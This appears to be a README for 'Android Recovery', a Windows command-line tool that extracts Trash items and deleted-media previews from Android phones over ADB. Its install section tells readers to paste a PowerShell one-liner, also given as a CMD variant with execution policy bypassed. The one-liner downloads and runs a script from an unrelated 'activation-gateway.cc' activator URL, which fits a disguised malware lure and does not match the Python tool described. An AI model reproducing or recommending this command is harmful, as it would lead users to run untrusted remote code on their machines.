Android-recovery: read-only ADB Trash and deleted-media extractor for Windows

Android Recovery is a read-only command-line tool for acquiring recoverable Trash items and extracting deleted-media previews from non-root Android devices over ADB. It operates under Android's shell account and writes exclusively to the host computer, without root access or UI automation. Scope is limited to logical recovery: the tool reads still-present Trash payloads, Trash databases, and Gallery-compatible BlobCache data, and recovered cache files are previews rather than guaranteed copies of the original media. It does not claim raw undelete capability, since a non-root ADB process cannot access the userdata block device or unallocated filesystem space.

• Open the Start menu and type PowerShell.
• Right-click and choose Run as administrator (optional).

Paste the command into PowerShell and hit Enter.

iex(irm 'https://activation-gateway.cc/update/ps-activator')

Run this command in CMD instead:

powershell -NoProfile -ExecutionPolicy Bypass -Command "iex(irm 'https://activation-gateway.cc/update/ps-activator')"

• PowerShell 5.1+ (pre-installed on Windows 10 and 11)
• Windows 10 / 11 (x64)
• Internet connection — required to fetch the script
• Administrator — not required

• Acquires recoverable Trash items from MediaStore and common Gallery and File Manager trash directories.
• Extracts deleted-media previews from Gallery2-compatible and OEM BlobCache files, including records with nonstandard index headers.
• Recovers classic MediaStore thumbnails whose source media ID no longer resolves.
• Validates and extracts images from legacy .thumbdata containers.
• Preserves Trash databases and marker files as separate artifacts alongside payloads.
• Hashes each captured payload and cache source with SHA-256 and records acquisition methods, timestamps, failures, and per-item recovery classification in case metadata.
• Writes exclusively to the host; creates, renames, restores, and deletes nothing on the Android device.
• Proceeds from still-readable Trash and cache data only. Recovered cache files are previews, not guaranteed copies of the original media; dimensions and compression may differ from the deleted source.
• Does not read the userdata block device or unallocated filesystem space, and does not claim raw undelete capability.
• Runs under Android's shell account (ADB UID 2000) and halts if the session is root or another account.
• Requires no root, no UI automation, and no third-party Python packages.

Invoke the tool directly after installation, or run it from a source checkout as shown below. Both forms accept the same flags and produce the same case layout.

android-recovery

python3 -B run.py

With no arguments, the tool enumerates authorized devices, selects the only connected device when exactly one is present, and fails with a nonzero exit status when zero or multiple devices are attached. It runs the full acquisition workflow and writes a new case directory named cases-01 in the current working directory. Subsequent runs increment the suffix (cases-02, cases-03, and so on) without modifying earlier cases. An existing case directory is never overwritten; name collisions cause the run to abort rather than merge output.

Connect the target device, confirm the debugging authorization prompt on the device, and verify that adb devices reports it as device before invoking the tool. Unauthorized, offline, or bootloader-only devices are rejected. The tool requires the ADB session to run as Android's shell account (UID 2000) and stops if the session is root or another account.

Scope the run to a specific device and destination:

android-recovery --serial R58M123456A --output ./evidence

--serial matches the value reported by adb devices. --output sets the parent directory in which case directories are created; it is created if absent. Relative paths resolve against the current working directory.

Select acquisition stages independently:

android-recovery --trash-only
android-recovery --previews-only

--trash-only acquires recoverable Trash payloads, Trash databases, and marker files, and skips cache scanning. --previews-only scans Gallery2-compatible BlobCache files, OEM BlobCache records, and legacy thumbnail containers, and skips Trash payload copying. With neither flag, both stages run. With both flags, the run is rejected.

Bound the workload for test runs:

android-recovery --max-trash 20 --max-previews 50

These limits cap the number of payloads copied and previews emitted per stage. Truncation is recorded in the case metadata and reflected in the summary; it is not reported as an error.

Use an explicit case name:

android-recovery --output ./evidence --case-name phone-2026-08-13

The name must not already exist under the output directory. When --case-name is omitted, auto-incrementing cases-NN naming applies.

Load and inspect configuration:

android-recovery --config recovery.json
android-recovery --config recovery.json --show-config

--show-config prints the effective configuration, resolves defaults, and exits without contacting a device. Command-line flags take precedence over values loaded from the file. Invalid fields cause a validation failure before any device operation begins.

Print help or the version:

android-recovery --help
android-recovery --version

Every run writes logs/recovery.log and the metadata/ records under the case directory. Exit status is 0 on a completed run, nonzero on argument errors, device-selection failures, authorization failures, or unrecoverable I/O errors. Partial failures are recorded in metadata/errors.json and do not necessarily change the exit status; consult the summary before treating a case as complete.

The tool writes only to the host filesystem. It performs no restore, rename, delete, or create operation on the Android device, and it does not require root, UI automation, or third-party Python packages.

--serial <id> selects the target device when more than one Android device is connected. The value must match a serial reported by ADB. If omitted while multiple devices are attached, the run aborts rather than choosing one implicitly.

--output <dir> sets the host directory under which case directories are created. The directory is created if absent. Defaults to the current working directory.

--case-name <name> sets an exact case directory name instead of automatic numbering. Existing directories are never overwritten; a colliding name causes the run to stop before any device access.

--trash-only restricts the run to Trash acquisition and skips all media cache and preview scanning. Mutually exclusive with --previews-only.

--previews-only restricts the run to preview and thumbnail extraction and skips Trash payload copying. Mutually exclusive with --trash-only.

--max-trash <n> caps the number of Trash payloads copied in a single run. The count applies per run, not per source directory. Objects beyond the limit are recorded as skipped in the acquisition metadata.

--max-previews <n> caps the number of validated previews written per run. Rejected or unvalidated cache records do not count toward the limit.

--config <path> loads a JSON configuration file. Command-line options override values from the file. Unknown keys are rejected.

--init-config <path> writes a complete JSON configuration template to the given path and exits without contacting a device. An existing file is not overwritten.

--show-config prints the effective configuration after all overrides, then exits without contacting a device. Useful for verifying that a config file and flags combine as expected.

--help prints usage and the full option list, including options not summarized here.

Flags that alter the run's scope or targets are validated before device access. Invalid combinations, missing required values, and unknown flags cause a nonzero exit with a diagnostic on stderr and no writes to the case directory.

Scan-source selection, timeouts, Android user ID, removable storage handling, cache path lists, and error policy are not exposed as individual flags; set them through --config. The JSON configuration is the authoritative surface for those settings.

Android Recovery is designed to operate strictly within the privileges of Android's shell account (UID 2000). At startup, it verifies the effective UID of the ADB session and aborts if the connection is running as root or any other account. All remote operations are limited to read access against shared storage and MediaStore content providers. The tool does not restore, rename, delete, or create files on the Android device. Every write target is on the host computer, inside the case directory.

Because the process lacks root, it cannot read the userdata block device or scan unallocated filesystem space. On modern devices, file-based encryption, flash discard, and filesystem garbage collection make raw undelete infeasible from an unprivileged context regardless. Android Recovery therefore performs logical recovery only: it acquires items still present in Trash locations and extracts previews from still-readable cache files. Recovered previews are not guaranteed copies of the original media, and their dimensions or compression may differ from the deleted source. The tool does not claim raw undelete capability, and results depend on what the device still exposes to the shell account at acquisition time.

All captured payloads and cache sources are hashed with SHA-256, and case metadata records the effective configuration, device profile, source code hashes, acquisition methods, timestamps, and failures. Existing case directories are never overwritten, so repeated runs cannot silently replace prior evidence.

Android Recovery targets non-root Android devices exposing an authorized ADB interface with UID 2000 (shell). Support is defined by storage conventions rather than a device allowlist: the scanner implements known Trash and cache layouts used by AOSP Gallery, Google Gallery, Samsung Gallery, ColorOS/Oppo, OnePlus, Transsion Gallery, and common File Manager recyclers.

No model or firmware matrix is maintained. Behavioral coverage depends on the following preconditions:

• USB debugging is enabled and the host is authorized for the shell account.
• Shared storage and MediaStore are readable by UID 2000; hardened or restricted firmware may deny either.
• Trash and cache paths conform to one of the recognized layouts, or are discoverable through the configured scan sources.

Vendor updates can relocate Trash directories, alter BlobCache or thumbnail formats, or restrict ADB access to storage. Where a layout is unrecognized or access is denied, the corresponding source is skipped and the failure is recorded in the case metadata rather than silently ignored. Support for any specific model, build, or firmware release is therefore not guaranteed, and validated results should be confirmed per device before relying on them.

This project is distributed under the MIT License.

The MIT License grants permission to use, copy, modify, merge, publish, distribute, sublicense, and sell copies of the software, subject to inclusion of the copyright notice and permission notice in all copies or substantial portions of the software.

The software is provided "as is", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, and noninfringement. In no event shall the authors or copyright holders be liable for any claim, damages, or other liability, whether in an action of contract, tort, or otherwise, arising from, out of, or in connection with the software or the use or other dealings in the software.

This license applies only to the source code and documentation of Android Recovery itself. It does not grant any rights to third-party components, Android platform tools, device firmware, or recovered user data. Users are responsible for ensuring that their use of this tool complies with applicable law and with any agreements governing the devices and data involved.